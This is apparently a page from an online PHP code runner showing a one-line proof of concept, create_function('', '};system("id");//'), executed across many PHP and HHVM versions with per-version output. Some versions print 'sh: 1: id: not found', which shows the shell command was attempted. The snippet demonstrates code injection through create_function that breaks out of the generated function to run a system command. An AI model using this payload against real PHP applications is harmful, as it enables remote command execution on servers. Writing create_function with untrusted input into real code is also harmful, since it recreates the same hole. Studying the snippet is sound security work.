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run code in 150+ php & hhvm versions
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<?php create_function('', '};system("id");//');
based on u90SV
Output for 4.3.0, 5.4.39 - 7.1.0
Output for 4.3.1 - 4.4.1, 4.4.3 - 5.0.5, 5.1.1, 5.1.3 - 5.1.4, 5.1.6 - 5.4.38
sh: 1: id: not found
Output for 4.4.2, 5.1.2, 5.1.5
//}sh: 1: id: not found
Output for 5.1.0

Process exited with code 137.